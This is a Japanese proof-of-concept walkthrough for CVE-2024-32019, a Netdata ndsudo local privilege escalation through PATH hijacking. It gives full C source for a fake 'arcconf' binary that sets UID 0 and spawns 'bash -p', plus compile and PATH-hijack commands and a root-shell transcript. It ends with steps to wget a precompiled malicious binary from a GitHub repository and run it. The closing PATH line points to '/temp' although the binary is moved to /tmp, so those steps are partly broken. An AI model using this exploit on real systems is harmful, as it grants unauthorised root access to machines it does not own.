
Netdata ndsudo ローカル特権昇格ワークフローと POC(CVE-2024-32019)
[!TIP] お読みください
Netdata は、アプリケーションやシステムの監視を提供するツールです。ポート 19999 で実行されるため、簡単に見つけられます:
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
この脆弱性 (CVE-2024-32019) は、次のバージョンに影響します: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169。ヘッダーレスポンス内のバージョンを確認するために、リクエストを送信できます:
このエクスプロイトは、プラグインの1つである ndsudo のPATH Hijackingを利用して発生します。ndsudo は通常 /opt/netdata/usr/libexec/netdata/ に配置され、SUIDビットが設定されています。
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
--help を使って何ができるかを確認できます。
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
見てわかるように、スクリプトには実行ファイルを探すための複数のコマンドが用意されているため、これを利用して、PATH環境変数に追加できるパス内に、それらの実行ファイルのいずれかと同じ名前の独自の実行ファイルを作成できます。
Netdata は C を使用しているため、スクリプトをCで作成し、コンパイルする必要があります。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
次に、前述したとおり、スクリプトのパスを $PATH に追加します。
test@test:/tmp$ PATH=/tmp:$PATH
最後に、悪意のある実行ファイルを指すコマンド (arcconf-pd-info -> arcconf) を実行するだけで、特権シェルが得られます。
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
前述の例のように、root として bash を提供する、コンパイル済みの C 製の悪意のあるスクリプトをダウンロードできます:
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp #If your target has Internet connectivity
scp ./arcconf test@test:/tmp/arcconf #If your target does not have Internet connectivity
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #The ndsudo path may change